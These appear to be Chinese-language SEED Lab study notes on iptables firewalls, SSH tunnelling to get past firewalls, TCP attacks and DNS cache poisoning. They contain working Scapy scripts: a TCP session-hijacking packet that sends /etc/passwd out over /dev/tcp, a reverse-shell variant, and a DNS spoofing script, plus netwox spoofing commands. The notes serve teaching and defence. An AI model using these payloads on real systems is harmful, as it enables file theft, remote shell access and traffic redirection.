預設規則是接受所有資料包,配置如下:
sudo iptables -P INPUT ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
設定規則前必須要清空所有的鏈
sudo iptables -F
例如,從INPUT鏈開始,開啟埠號22和80以提供SSH和Web服務,命令如下:
sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT
-A INPUT,把規則加到INPUT鏈上 -p tcp,該規則只用於TCP資料包 --dport nn,目標埠號
為了讓SSH和HTTP服務能傳送響應訊息給客戶端,需要允許對外傳送TCP資料包,命令如下:
sudo iptables -A OUTPUT -p tcp -j ACCEPT
-j ACCEPT,接受滿足此規則的包
同一個系統中的不同程式間往往也使用資料包來通訊,它們利用一個稱為loopback的虛擬介面,這個介面把資訊導回自己, 應開啟這個防火牆規則:
sudo iptables -I INPUT 1 -i lo -j ACCEPT
-I INPUT 1,把規則加到INPUT鏈的第一個位置上 -i lo, 選擇發往loopback介面的資料包
需要允許DNS的查詢和回覆,DNS使用的是UDP埠53,如果DNS服務不在本機,只需執行:
sudo iptables -A OUTPUT -p udp --dport 53 -j ACCEPT
sudo iptables -A INPUT -p udp --sport 53 -j ACCEPT
由於seed lab虛擬機器DNS伺服器在本機,故還需執行下面兩條命令,否則本地DNS伺服器將無法收到DNS查詢:
sudo iptables -A OUTPUT -p udp --sport 53 -j ACCEPT
sudo iptables -A INPUT -p udp --dport 53 -j ACCEPT
上述配置執行,並用iptables -L列出設定
設定完成後,應當把預設策略改為DROP,這樣只有滿足規則的資料包才能夠進入這臺計算機,其他的都會被丟棄
sudo iptables -P INPUT DROP
sudo iptables -P OUTPUT DROP
sudo iptables -P FORWARD DROP
完整指令碼(iptablesfw.sh):
該指令碼用sudo執行
測試: 實驗表明,telnet連23埠不成功,80埠是成功的,實驗成功。
實驗後要清除防火牆規則,否則後續實驗會受影響,清除指令碼(cleanup.sh):
iptables
是 Linux 中用於管理網路流量的防火牆工具。以下是一些快速指南,可以幫助你掌握 iptables
的基本用法。
1. 基本概念
iptables
使用表(table)、鏈(chain)和規則(rule)來控制資料包的處理。主要的表有:
-
filter(預設):用於控制資料包的允許或拒絕,包含 INPUT、FORWARD、OUTPUT 三個鏈。
-
nat:用於網路地址轉換(NAT),例如埠轉發。
-
mangle:用於修改資料包的內容。
每個鏈執行一組規則來決定資料包的去向:
-
INPUT:進來本機的資料包。
-
FORWARD:轉發資料包給其他網路的路由器。
-
OUTPUT:從本機發出的資料包。
2. 檢視當前規則
可以透過以下命令檢視當前的 iptables
規則:
sudo iptables -L -v -n
3. 新增規則
格式:
sudo iptables -A 鏈 -p 協議 --dport 埠 -j 目標
-
-A:表示新增規則
-
鏈:指定鏈(INPUT, OUTPUT, FORWARD)
-
-p:協議,例如
tcp
或udp
-
--dport:指定埠號
-
-j:指定動作,例如
ACCEPT
、DROP
、REJECT
示例:允許訪問 22 埠(SSH)
sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT
4. 刪除規則
可以使用 -D
來刪除規則,方法是指定規則的完整描述或規則號。
示例:刪除剛剛新增的 22 埠規則
sudo iptables -D INPUT -p tcp --dport 22 -j ACCEPT
或者透過檢視規則編號來刪除:
sudo iptables -L --line-numbers
sudo iptables -D INPUT 1
5. 儲存和恢復規則
在重啟後保留規則,你可以儲存當前規則並在啟動時恢復。
# 儲存規則(不同系統位置不同,以下為 Ubuntu 示例)
sudo iptables-save > /etc/iptables/rules.v4
# 恢復規則
sudo iptables-restore < /etc/iptables/rules.v4
6. 常用操作示例
-
拒絕某埠(例如 80 埠):
sudo iptables -A INPUT -p tcp --dport 80 -j DROP
-
限制某 IP 地址的訪問(例如拒絕 IP
192.168.1.10
):sudo iptables -A INPUT -s 192.168.1.10 -j DROP
-
允許本地迴環介面(localhost)流量:
sudo iptables -A INPUT -i lo -j ACCEPT
7. 清除所有規則
在測試時,如果需要清空所有規則,使用以下命令:
sudo iptables -F
8. 檢視 NAT 表
要檢視 NAT 表中的規則:
sudo iptables -t nat -L -v -n
這就是 iptables
的基本操作。
狀態防火牆和應用防火牆
之前的都是無狀態防火牆,這種防火牆獨立地檢查每個資料包。而資料包通常是上下文關聯的。比如,如果只想讓 那些屬於已有連線的TCP資料包進入網路,就必須用狀態防火牆。
狀態防火牆
狀態防火牆能監視連線的資料包,這個連線是廣義的。 比如TCP是面向連線的,使用三次握手來建立連線。 UDP不是面向連線,但當一個UDP客戶端和服務端開始交換資料時,狀態防火牆認為連線已經建立,一段時間沒有資料交換,就 認為連線終止。 ICMP也不是面向連線的。因ICMP訊息僅有一輪請求與應答,當防火牆看到應答時,會認為連線被建立並同時終止。 複雜協議的連線,一些防火牆在傳輸層和網路層之上跟蹤連線,如HTTP,FTP和IRC連線就是應用層協議,由於廣泛使用, 防火牆也對這些連線跟蹤。
Linux的連線跟蹤框架
Linux核心提供了一個連線跟蹤框架nf_conntrack,該框架也是建立在Netfilter上。這個框架儲存連線狀態資訊。 每個進入nf_conntrack的資料包都會被標上一個連線狀態,以便之後的鉤子處理資料包。
nf_conntrack的狀態有: 1、NEW, 用於建立連線 2、ESTABLISHED,連線已建立 3、RELATED, 這個狀態專門用來建立不同連線之間的聯絡。如FTP中,控制流(埠21的資料流)被標記為ESTABLISHED, 而資料傳輸流被標記為RELATED連線。 4、INVALID, 標記不符合連線行為的資料包
搭建一個狀態防火牆
上一課中iptables實現的一個防火牆有一個問題,它有一條規則是這麼寫的:
iptables -A OUTPUT -p tcp -j ACCEPT
這樣有一個問題,就是它允許所有服務發出TCP資料包,而沒有限制只允許這兩個服務(SSH和HTTP)發出TCP資料包 為此改進這條規則,改為基於連線狀態的規則:
sudo iptables -A OUTPUT -p tcp -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
-m conntrack,使用conntrack模組中的規則 --ctstate ESTABLISHED, RELATED, 具備ESTABLISHED或RELATED狀態的包
測試: 策略使用前抓包
策略使用後抓包
這個實驗目的是應用之後,看不到服務端(150)發出的TCP包,但最終還是看到了,沒有做成功
應用防火牆
資料包過濾器只檢查傳輸層及其下層,應用防火牆檢查所有層資料。 典型的應用防火牆是代理,因此也被稱為應用代理防火牆 應用防火牆的一個普遍應用是Web代理,它用於控制瀏覽器可以訪問的內容,Web代理主要用於過濾傳送出去的資料包, 但也可以用於過濾進來的資料包。
在網路中搭建一個Web代理,最關鍵之處在於確保所有的網路流量經過代理伺服器。 實現方式有以下幾種: 1、修改系統配置來引導所有網路流量透過代理 2、修改瀏覽器的網路設定使所有的HTTP請求都透過指定的代理 3、使用iptables直接修改HTTP的IP資料包,將其目的IP地址和埠號改成代理的IP地址和埠號 最好的方式是不修改任何主機配置
代理技術也可被用於繞過防火牆。如果一個防火牆基於資料包的目的地址進行過濾,則可以用Web代理瀏覽因特網, 從而繞過防火牆。只需將目的地址修改為代理伺服器的地址,讓代理伺服器獲得網頁並把結果傳給即可。
Socks代理
SOCKS(socket secure)代理伺服器,利用應用層和傳輸層之間的一個協議搭建防火牆,它就是 墊層(shim layer)或者OSI模型中的會話層(session layer)。利用這一層,代理伺服器 可以獨立於應用監視所有經過它的會話請求。 客戶機軟體需要實現SOCKS協議才能使用SOCKS代理。
繞過防火牆
最有效的繞過防火牆的方法是隧道技術,它能夠隱藏資料的真實意圖。搭建隧道的方式有很多種, 其中虛擬專用網路(virtual private network, VPN)在IP層搭建隧道,被廣泛用來繞過防火牆。
使用SSH隧道繞過防火牆
實驗場景: 公司防火牆會攔截所有進入公司的telnet資料,但允許用SSH登陸到內部一臺叫apollo的機器 home是自己機器名稱,work是公司內部的一臺機器,平時上班和家裡都有需要透過telnet到 work機器來工作。
Ssh本地埠透過跳板對映到其他機器
HostA$ ssh -L 0.0.0.0:PortA:HostC:PortC user@HostB HostA 上啟動一個 PortA 埠,透過 HostB 轉發到 HostC:PortC上,在 HostA 上執行
故要實現以上需求,只需兩條命令:
ssh -L 8000:work:23 apollo
透過apollo,把本機8000埠對映到work的23埠
telnet localhost 8000
相當於telnet到了work的23埠
另一個實驗場景: 正在使用公司內的work計算機,想訪問facebook,但公司防火牆阻止訪問。
ssh -L 8000:www.facebook.com:80 home
透過home機器,把本機8000對映到facebook的80埠,只需訪問localhost:8000即可繞過防火牆
動態埠轉發
上面為一個專門的網站建立了一個SSH隧道,那總不可能為每個網站都建一個隧道,就需要使用動態埠轉發
本地socks5代理
HostA$ ssh -D localhost:1080 HostB 在 HostA 的本地 1080 埠啟動一個 socks5 服務, 透過本地 socks5 代理的資料會透過 ssh 連結先傳送給 HostB,再從 HostB 轉傳送給遠端主機 那麼在 HostA 上面,瀏覽器配置 socks5 代理為 127.0.0.1:1080, 看網頁時就能把資料透過 HostB 代理出去,類似 ss/ssr 版本,只不過用 ssh 來實現
動態埠轉發工作在TCP/IP模型的應用層和傳輸層之間(即OSI模型的會話層),因此它獨立於應用邏輯,比 Web代理更加通用。
使用VPN繞過防火牆
最初開發VPN是出於安全考慮,希望提供從外部專用網路到內網的安全訪問。然而,如今VPN通常被用來繞過防火牆, 尤其是繞過出口過濾。
Tcp安全
TCP 建立在 IP 協議之上,傳輸層是網路協議服務的最高層,同時也是使用者互動網路的最底層。
1. TCP 協議概述 (來源 ,,,,, )
-
定義和功能: 傳輸控制協議 (TCP) 是網際網路協議套件的核心協議之一,位於 IP 層之上,屬於傳輸層。它為應用程式提供主機到主機通訊服務,確保可靠、有序的資料傳輸。TCP 建立在 IP 協議之上,傳輸層是網路協議服務的最高層,同時也是使用者互動網路的最底層。
-
特點:
-
面向連線: 在資料傳輸開始之前,必須先建立連線,確保通訊雙方都準備好進行資料交換。
-
可靠傳輸: 透過序列號、確認號、校驗和等機制,確保資料按序、完整地傳輸,並進行錯誤檢測和重傳。
-
全雙工通訊: 通訊雙方可以同時傳送和接收資料。
-
流量控制: 透過滑動視窗機制,控制資料傳送速率,避免接收方緩衝區溢位。
-
擁塞控制: 透過慢啟動、擁塞避免等演算法,動態調整資料傳送速率,避免網路擁塞。
-
2. TCP 程式工作機制 (來源 ,,,,)
-
客戶端程式:
-
建立套接字: 使用
socket()
系統呼叫建立一個套接字,並指定通訊型別為SOCK_STREAM
。 -
發起連線: 使用
connect()
系統呼叫向伺服器發起連線請求,指定伺服器的 IP 地址和埠號。 -
傳送資料: 連線建立後,使用
send()
系統呼叫向伺服器傳送資料。 -
接收資料: 使用
recv()
系統呼叫從伺服器接收資料。 -
關閉連線: 使用
close()
系統呼叫關閉連線。
-
-
伺服器程式:
-
建立套接字: 使用
socket()
系統呼叫建立一個套接字,並指定通訊型別為SOCK_STREAM
。 -
繫結埠號: 使用
bind()
系統呼叫將套接字繫結到一個特定的埠號,以便客戶端可以透過該埠連線到伺服器。 -
監聽連線請求: 使用
listen()
系統呼叫監聽來自客戶端的連線請求。 -
接受連線請求: 使用
accept()
系統呼叫接受來自客戶端的連線請求,並建立一個新的套接字來處理該連線。 -
建立子程序: 使用
fork()
系統呼叫建立一個新的程序來處理該連線,以便伺服器可以同時處理多個客戶端連線。 -
傳送和接收資料: 子程序使用
send()
和recv()
系統呼叫與客戶端進行資料交換。 -
關閉連線: 子程序使用
close()
系統呼叫關閉與客戶端的連線。
-
3. TCP 資料傳輸過程 (來源 ,,,,,,)
資料傳輸的底層原理
連線建立後,作業系統分配兩個緩衝區:傳送緩衝區和接收緩衝區。TCP是雙工的,兩端可以傳送和接收資料。 當應用傳送資料時,它不直接構建一個資料包,而是將資料放在TCP傳送緩衝區中,然後由作業系統的TCP協議棧程式碼 將資料打包發出。
資料包即使不按順序到達,也能按序排列:在TCP資料包頭部有一個欄位叫序列號,表示載荷中的第一個位元組對應的 序列號。當資料包到達接收端時,TCP利用TCP資料頭部的序列號將資料放進接收緩衝區的正確位置。
TCP中,一旦資料放入接收緩衝區,它們會被合併成一條資料流,資料包邊界將會消失,而UDP不是這樣。
接收端會告訴傳送端資料已經收到,會傳送確認包,出於效率考慮,不是對每個包都傳送確認包,而是告知傳送端下一個希望 收到的資料的序列號。
4. TCP 頭部結構 (來源 ,,,,,,)
-
源埠號和目標埠號 (各 16 位): 用於標識傳送方和接收方的應用程式。
-
序列號 (32 位): 用於標識該段資料的第一個位元組的序號。如果 SYN 標誌位被設定,則表示這是初始序列號。
-
確認號 (32 位): 用於確認已接收到的資料,其值表示期望接收的下一個位元組的序號。僅當 ACK 標誌位被設定時有效。
-
頭部長度 (4 位): 用於表示 TCP 頭部的長度,以 32 位字為單位。
-
保留位 (6 位): 未使用。
-
標誌位 (6 位):
包括 SYN、FIN、ACK、RST、PSH 和 URG 等標誌位,用於控制 TCP 連線和資料傳輸過程。
-
SYN: 用於建立連線。
-
FIN: 用於斷開連線。
-
ACK: 用於確認資料包。
-
RST: 用於重置連線。
-
PSH: 用於立即傳送資料。
-
URG: 用於標識緊急資料。
-
-
視窗大小 (16 位): 用於流量控制,表示接收方當前可接收的資料量。
-
校驗和 (16 位): 用於驗證 TCP 頭部和資料的完整性。
-
緊急指標 (16 位): 用於指向緊急資料的結束位置。僅當 URG 標誌位被設定時有效。
-
選項 (0-320 位,32 位對齊): 用於擴充套件 TCP 頭部,例如新增時間戳、最大段大小等資訊。
TCP頭部
TCP頭部長度用32位字的數量來計量,因此將這個域的值乘以4才得到TCP頭部位元組數。 視窗大小用來表明TCP段的傳送者希望接收的位元組數的上限。流量控制用的。 檢驗和計算範圍包括IP頭部、TCP頭部、TCP資料。 緊急指標用於緊急/優先順序的目的。緊急資料不需要排隊。
5. TCP 三次握手協議 (來源 ,,,,, )
-
步驟:
-
客戶端傳送 SYN 包: 客戶端向伺服器傳送一個 SYN 包,其中包含一個隨機生成的初始序列號 (x)。
-
伺服器傳送 SYN-ACK 包: 伺服器收到 SYN 包後,回覆一個 SYN-ACK 包,其中包含伺服器自己的隨機生成的初始序列號 (y),以及對客戶端 SYN 包的確認 (x+1)。
-
客戶端傳送 ACK 包: 客戶端收到 SYN-ACK 包後,回覆一個 ACK 包,確認伺服器的序列號 (y+1)。
-
-
目的:
-
確保雙方都準備好進行資料傳輸。
-
協商初始序列號。
-
建立連線狀態。
-
6. TCP 連線狀態 (來源 ,,,,)
-
LISTEN: 伺服器監聽連線請求的狀態。
-
SYN_SENT: 客戶端已傳送 SYN 包,等待伺服器回覆的狀態。
-
SYN_RECV: 伺服器已收到 SYN 包,併傳送 SYN-ACK 包,等待客戶端回覆的狀態。
-
ESTABLISHED: 連線已建立,可以進行資料傳輸的狀態。
-
FIN_WAIT_1: 客戶端已傳送 FIN 包,等待伺服器回覆的狀態。
-
FIN_WAIT_2: 客戶端已收到伺服器的 FIN 包的確認,等待伺服器關閉連線的狀態。
-
TIME_WAIT: 客戶端已關閉連線,等待一段時間以確保伺服器收到所有資料的狀態。
-
CLOSE_WAIT: 伺服器已收到 FIN 包,併傳送確認,等待應用程式關閉連線的狀態。
-
LAST_ACK: 伺服器已傳送 FIN 包,等待客戶端確認的狀態。
-
CLOSED: 連線已關閉的狀態。
7. TCP 安全問題
由於 TCP 協議的特性和工作機制,存在一些安全風險,主要包括以下幾種攻擊型別:
-
TCP 泛洪攻擊
(來源,,,,,)
-
利用 TCP 三次握手過程,傳送大量偽造的 SYN 包,使伺服器資源耗盡,無法處理正常連線請求。
-
防禦措施:使用 SYN Cookies、限制半開連線數量、部署入侵檢測系統等。
-
-
TCP 重置攻擊
(來源,,,)
-
偽造 RST 包,強制斷開已建立的 TCP 連線。
-
防禦措施:加密傳輸資料、使用安全的協議 (如 SSH)、部署防火牆等。
-
-
TCP 會話劫持攻擊
(來源,,,,,)
-
在已建立的 TCP 連線中注入惡意資料,例如偽造身份、竊取資料、篡改資料等。
-
防禦措施:加密傳輸資料、使用安全的協議、部署入侵檢測系統等。
-
8. TCP 協議發展趨勢
隨著網際網路的不斷髮展,TCP 協議也在不斷改進和完善,以應對新的挑戰和需求。未來 TCP 協議的發展趨勢主要包括以下幾個方面:
-
提高傳輸效率: 透過改進擁塞控制演算法、最佳化資料傳輸機制等,進一步提高 TCP 協議的傳輸效率。
-
增強安全性: 透過引入新的安全機制、改進現有安全機制等,增強 TCP 協議的安全性,抵禦各種攻擊。
SYN泛洪攻擊
SYN泛洪攻擊針對的是TCP建立連線使用的三次握手協議。
三次握手協議
1、客戶端傳送SYN包給服務端,用隨機產生的數字x作為初始序列號。(因TCP頭部的SYN位被置為1,因此這個包叫 SYN包) 2、服務端收到SYN包後,回覆一個SYN+ACK包,並用y作為初始序列號
服務端收到初始SYN包時,使用一個叫做傳輸控制塊(TCB)的特殊資料結構來儲存連線資訊。到這一步時,連線還
沒有建立,因此稱為半開啟連線。服務端將TCB儲存在一個只用於存放半開啟連線的佇列中。在服務端從客戶端得到
ACK包後,它會將TCB拿出佇列。
如果ACK包沒有到達,服務端會重新傳送SYN+ACK包。如果最後的ACK包一直收不到,儲存在半開啟連線佇列中的TCB
最終會因超時而被丟棄。
3、客戶端收到後發一個ACK包結束這次握手
SYN泛洪攻擊
攻擊原理:在三次握手連線完成之前,伺服器將所有半開啟連線儲存在一個佇列中,這個佇列的容量是有限的,如果攻擊者 填滿這個佇列,那麼伺服器將沒有空間來儲存任何半開啟連線的TCB,不再接受任何新的SYN包,結果就是任何人無法連線 伺服器。
這樣攻擊過程如下: 1、連續傳送SYN包給伺服器 2、不要完成三次握手協議的第三步
導致TCB記錄被移出佇列的情況有以下幾種: 1、完成三次握手 2、記錄超時,一般40s 3、伺服器收到針對半開啟連線的RST包
有防火牆因素攻擊變複雜
當使用SYN泛洪攻擊伺服器時,攻擊者需要使用隨機的源IP地址,否則攻擊很容易被防火牆遮蔽。 當伺服器回覆SYN+ACK包時,如果偽造的IP地址沒有對應計算器,半開啟連線將會在佇列中停留直到超時丟棄。 如果偽造的IP地址到達了真實的計算機,計算器將會傳送TCP RST包給伺服器。 實踐中會有很多RST包,攻擊必須和這些RST包競爭。
TCP復位攻擊
TCP復位攻擊的目標是破壞兩個主機之間已存在的連線。
關閉TCP連線
方式一:
1、A沒有更多資料傳給B時,傳送FIN包給B 2、B收到後,回覆ACK包,A到B的連線就關閉了,但B到A連線依舊保持 3、如果B也要關閉到A的連線,傳送FIN,A回覆ACK,就關閉
方式二:
只需傳送RST包,連線立刻中斷,主要用在沒有時間或者無法使用FIN協議的緊急情況。 比如發現SYN泛洪攻擊。
TCP復位攻擊的條件
假冒的方式傳送RST包來中斷連線,叫TCP復位攻擊。 要成功實現攻擊,要正確設定: 1、源和目的IP地址、埠號 2、序列號
把攻擊者和受害者放在同一個網路,可以降低猜測序列號的難度
防禦TCP復位劫持攻擊的措施:
加密傳輸資料: 透過加密TCP資料包,可以防止攻擊者嗅探或偽造RST包。
使用安全的協議: 使用安全的協議(如SSH)可以提供更強的安全性,因為它們在網路層進行加密,可以保護整個TCP資料包,包括頭部。
部署防火牆: 防火牆可以幫助阻止來自攻擊者的惡意流量。
TCP會話劫持攻擊背景
一臺計算機可以有多個併發的TCP會話,因此它需要知道一個資料包屬於哪一個TCP會話。TCP使用4元組來唯一確定一個會話: 源IP地址、目的IP地址、源埠號、目的埠號,這4個域稱為TCP會話的特徵。
為了偽造資料包,除了上面四個特徵必須符合外,還有一個關鍵的序列號必須符合
如果接收方是telnet伺服器,那從傳送方到接收方的資料就是命令,一旦控制了該會話,就可以讓telnet伺服器執行攻擊者的命令, 這就是把這類攻擊稱為TCP會話劫持的原因
發動TCP會話劫持攻擊
實驗目標:劫持客戶端,在服務端用受害者許可權執行命令 1、客戶端telnet連線到服務端 2、Wireshark中找到客戶端發給服務端的最後一個telnet資料包
客戶端發給服務端最後一個資料包是ACK包,不包含任何資料,因此不佔用任何序列號
3、宿主機啟動TCP接收服務 一旦攻擊命令在服務端上執行成功,就可以透過命令把輸出傳送到宿主機啟動的伺服器上
-lv是等待連線,並輸出來自這個連線的任何內容
4、將服務端輸出重定向到宿主機 服務端執行命令:
宿主機收到:
上面這個實驗是說明原理的,實際攻擊者不可能訪問伺服器。下面用scapy來實現這個攻擊。
#!/usr/bin/python3
import sys
from scapy.all import *
print("SENDING SESSION HIJACKING PACKET.....")
client_addr = "192.168.230.151"
server_addr = "192.168.230.150"
IPLayer = IP(src=client_addr, dst=server_addr)
TCPLayer = TCP(sport=38276, dport=23, flags="A", seq=2833231448, ack=1828464701)
Data = "\r cat /etc/passwd > /dev/tcp/192.168.230.1/9090\r"
pkt = IPLayer/TCPLayer/Data
ls(pkt)
send(pkt, verbose=0)
1、宿主機起nc服務 2、宿主機發動攻擊 宿主機執行:
sudo python sessionhijack.py
可以看到服務端的passwd重定向到了宿主機:
Warning
實驗實際做下來,第一次沒有劫持成功,重新wireshark取資料,更新指令碼數值,第二次成功了,要多試幾次
Note
指令碼攻擊中還必須設定ACK位,就是wireshark中的Acknowledgment Number。 當攻擊過程中如果客戶端還是持續地輸入,那麼序列號就不容易寫正確,這時可以做一個估計N + 100,這樣受害者 輸入長度到的時候就會觸發偽造資料,為了使偽造資料不與受害者資料混淆,故加入\r
TCP劫持攻擊連線的過程
上一個實驗對客戶端和服務端的連線是破壞性的,攻擊者發的偽造包,服務端收到後回覆給了客戶端,而客戶端沒有到達 這個序列號,會認為是無效的,就會丟棄。這樣服務端沒有收到確認就會重發,從而一直被客戶端丟棄。
另一方面,如果客戶端telnet程式輸入時,序列號已經被佔用,伺服器會視為重複資料,不予理睬,而客戶端就會重發。 一段時間後,雙方TCP連線被斷開。
建立反向shell
步驟和上面都一樣,只是指令碼中Data改成:
Data = "\r /bin/bash -i > /dev/tcp/192.168.230.1/9090 2>&1 0<&1 \r"
執行後在宿主機成功獲取到了服務端的shell:
-i 互動模式 2>&1 標準錯誤重定向到1,1已經重定向到宿主機9090埠 0<&1 服務端輸入重定向到1
如何防禦會話劫持攻擊
防止會話劫持攻擊的關鍵在於使攻擊者難以偽造資料包,並對有效載荷進行加密。 以下是一些常用的防禦措施:
1. 隨機化源埠號
透過隨機分配源埠號,攻擊者更難預測到正確的埠號,從而增加偽造資料包的難度。
2. 隨機化初始序列號
TCP 三次握手過程中使用的初始序列號如果可以被預測,攻擊者就能更容易地偽造資料包。 透過隨機化初始序列號,攻擊者將更難猜到正確的序列號。
3. 加密有效載荷
加密有效載荷可以有效防止攻擊者讀取或篡改傳輸的資料,即使攻擊者成功劫持了會話,也無法獲取敏感資訊。 例如,SSH 協議在傳輸層進行加密,可以保護整個 TCP 資料包,包括頭部,因此可以有效防禦 TCP 會話劫持攻擊。
4. 使用安全的協議
選擇使用更安全的協議(如 SSH)可以提供更強的安全性。
5. 部署防火牆
防火牆可以過濾網路流量,阻止來自攻擊者的惡意流量,從而降低會話劫持攻擊的風險。
需要注意的是,隨機化源埠號和初始序列號並不能完全防禦本地攻擊,因為攻擊者可能已經獲得了本地網路訪問許可權。
DNS
DNS基本概念
DNS的主要任務是把計算機名轉換為IP地址
DNS域層次結構
域名結構如下圖: 域的根節點稱為根域,用符號.表示,下一層域結構稱為頂級域名(TLD) 頂級域名有國家程式碼頂級域名(ccTLD),還有其他目的的頂級域名,如bank、coffee、jobs等 所有頂級域名的官方列表被因特網編號分配機構(IANA)掌管,到2017年已有1547個頂級域名
每個頂級域名都被IANA委託給一個指定代理,稱為註冊處。VeriSign是com和net域的指定代理,EDUCASE是edu域的指定代理 頂級域名的指定代理會透過註冊商為公眾提供註冊服務,使用者買了域名後,指定代理會負責把所購域名的相應資訊填入註冊資料庫中 中國域名註冊商有易名中國、萬網、商務中國等
DNS區域
example.com是一家國際企業,有美國、英國、法國三個分部,分別對應三個子域名。在美國,又有三個分公司。 由於在芝加哥和波士頓的兩家公司都比較小,因此放入了同一個區域。而紐約公司比較大,故單獨用一個區域。
域名系統是透過區域組織的,一個DNS區域把樹狀域內臨近的域名和子域組織起來,並且將管理許可權分配給實體。 每個區域由權威機構管理。一個域名可以由多個機構管理。
權威域名伺服器
每個DNS區域都至少有一個權威域名伺服器來公佈關於這個區域的資訊。出於冗餘目的應至少提供兩個權威域名伺服器。
因特網中區域的組織形式
DNS請求最終目的是從權威域名伺服器得到答案,DNS採用分散式方法來找權威域名伺服器,以樹的形式來組織因特網中所有的 DNS區域,每一個權威域名伺服器都可以沿著樹的結構找到。
樹的根被稱為root區域,IANA負責維護這個區域,有13個權威域名伺服器(DNS根伺服器)管理這個區域,名稱從a到m,即 從a.root-servers.net到m.root-servers.net。
DNS請求過程
使用者計算機應用試圖與另一臺計算機通訊時,會先向本機DNS解析器查詢,如果失敗,再發請求給系統指定的本地DNS伺服器, 如果沒有,該伺服器會逐步從因特網其他DNS伺服器查詢IP地址。
本地DNS檔案
在Linux中,DNS解析器依賴兩個檔案,分別是/etc/hosts和/etc/resolv.conf。 resolv.conf為DNS解析器提供資訊,包含本地DNS伺服器的IP地址等
Note
如果一臺計算機用DHCP(動態主機配置協議)得到IP地址,它同時也會從DHCP得到本地DNS伺服器的IP地址, 並且儲存到resolv.conf檔案中,這種情況下,resolv.conf檔案會被自動修改,任何對該檔案所做的手動 更改都會被覆蓋。
本地DNS伺服器和迭代查詢過程
本地dns伺服器
計算機通常使用區域網內的DNS伺服器,這是"本地"的名字來源,現在許多非本地的DNS伺服器可以用作本地 DNS伺服器,如谷歌公共DNS等,本地的含義伺服器不一定必須位於本地
dns查詢過程:本地伺服器為了找到www.example.net的ip地址,先是問root區域,root區域會告訴 .net伺服器地址,再請求.net伺服器,會告訴他example.net伺服器的地址,最後才得到正確地址
dig命令會模擬本地DNS伺服器的行為 先查根伺服器:
根伺服器告訴了13個.net域名伺服器:
.net域名伺服器返回了2個example.net區域的權威域名伺服器:
DNS應答分為4個部分:問題部分、回覆部分、授權部分和附加部分。 問題部分包含請求的問題 回覆部分包含對請求問題的答案 授權部分包含指向權威伺服器的記錄 附加部分包含和請求有關的記錄
DNS快取,當本地DNS伺服器從其他DNS伺服器得到資訊時,它會快取這個資訊,以便將來需要時不必浪費時間再次詢問。 快取中的每個資訊都有一個存活時間。
比如查詢mail.example.net,本地DNS伺服器不會從root域開始查詢,因為快取中已經有example.net域名伺服器的IP 地址,就直接從這個伺服器開始查詢。
為何是13臺根伺服器
因為在所有UDP實現中能保證正常工作的最大包長是512位元組。要讓所有根伺服器資料能包含在一個512位元組的UDP包中, 根伺服器只能限制在13個
DNS攻擊概述
針對DNS的攻擊方式: 1、拒絕服務攻擊 2、DNS欺騙攻擊,主要目的是給受害者提供虛假的IP地址
對域名系統的四個攻擊面: 1、在受感染的計算機中攻擊 比如修改/etc/resolv.conf或/etc/hosts等
2、攻擊使用者機 當使用者機給本地DNS伺服器傳送DNS請求時,攻擊者可以立即傳送一個欺騙的回覆
3、攻擊本地DNS伺服器:快取中毒攻擊 當本地DNS伺服器向因特網中的DNS伺服器傳送迭代請求時,攻擊者可以傳送欺騙回復給本地DNS伺服器。 欺騙回復的資訊通常被DNS伺服器快取,這個攻擊被稱為DNS快取中毒攻擊
4、從惡意DNS伺服器發起攻擊 比如使用者訪問attacker32.com這個網站時,一個DNS請求會最終到達attacker32.com的權威域名伺服器。 除了在響應的回覆部分提供IP地址外,這個域名伺服器還會提供授權和附加部分的資訊。 如果使用者不加選擇地接受域名伺服器提供的所有資訊,攻擊者就可以透過提供虛假資訊來達到攻擊的目的。
攻擊角度示意圖如下:
攻擊使用者本機
假定攻破了使用者主機,在/etc/hosts增加如下記錄:
192.168.230.154 www.example.com
可以看到ping受到了影響,但dig沒有影響
直接偽造結果給使用者
當沒有拿到使用者機的shell,但是和使用者機出於同一區域網,當使用者機發dns請求時,對其dns偽造回覆 攻擊機執行:
sudo netwox 105 -h www.example.net -H 5.6.7.8 -a ns.attacker32.com -A 101.102.103.104
令網站www.example.net的查詢結果為5.6.7.8 查詢該網站的域名伺服器為ns.attacker32.com ip為101.102.103.104
本地DNS快取中毒攻擊
上面的攻擊是一次都要偽造一個資料包,比較麻煩,而DNS快取中毒攻擊則實現在一段時間內都不用偽造 攻擊的是本地DNS伺服器。實現攻擊最重要的是偽造DNS回覆,這個回覆是UDP資料包。
實驗的目的是在偽造的回覆中,把主機名www.example.net對映到IP地址1.2.3.4,並且告訴本地DNS伺服器 example.net的域名伺服器是攻擊者的計算機ns.attacker32.com,這樣一來,所有對該域的查詢都會發往 ns.attacker32.com
#!/usr/bin/python
from scapy.all import *
def spoof_dns(pkt):
if(DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname):
IPpkt = IP(dst=pkt[IP].src,src=pkt[IP].dst)
UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
rdata='1.2.3.4', ttl=259200)
NSsec = DNSRR(rrname="example.net", type='NS',
rdata='ns.attacker32.com', ttl=259200)
DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd,
aa=1,rd=0,qdcount=1,qr=1,ancount=1,nscount=1,
an=Anssec, ns=NSsec)
spoofpkt = IPpkt/UDPpkt/DNSpkt
send(spoofpkt)
pkt=sniff(filter='udp and (src host 192.168.230.154 and dst port 53)',
prn=spoof_dns)
步驟: 1、開啟wireshark,清空訊息 2、DNS服務端清理快取
sudo rndc flush
3、攻擊機器(這個實驗必須要用三臺虛擬機器,攻擊者用宿主機替代不成功)執行指令碼
sudo python dns_spoof.py
4、使用者機dig域名
dig www.example.net
Note
為了更方便測試,也可以將上述指令碼filter改成: udp and dst port 53
攻擊機器也可以不執行指令碼,而改用一個命令:
sudo netwox 105 -h www.example.net -H 5.6.7.8 -a ns.attacker32.com -A 1.2.2.1 -d ens33 -T 600 -s raw
使用者機得到dns解析結果:
將快取轉儲到檔案中,可以看到快取已經被汙染了
針對授權部分的攻擊
上面的方法只有對一個域名的快取,如果想要得到授權對一個域進行攻擊的話,就需要配置一個合法的ip
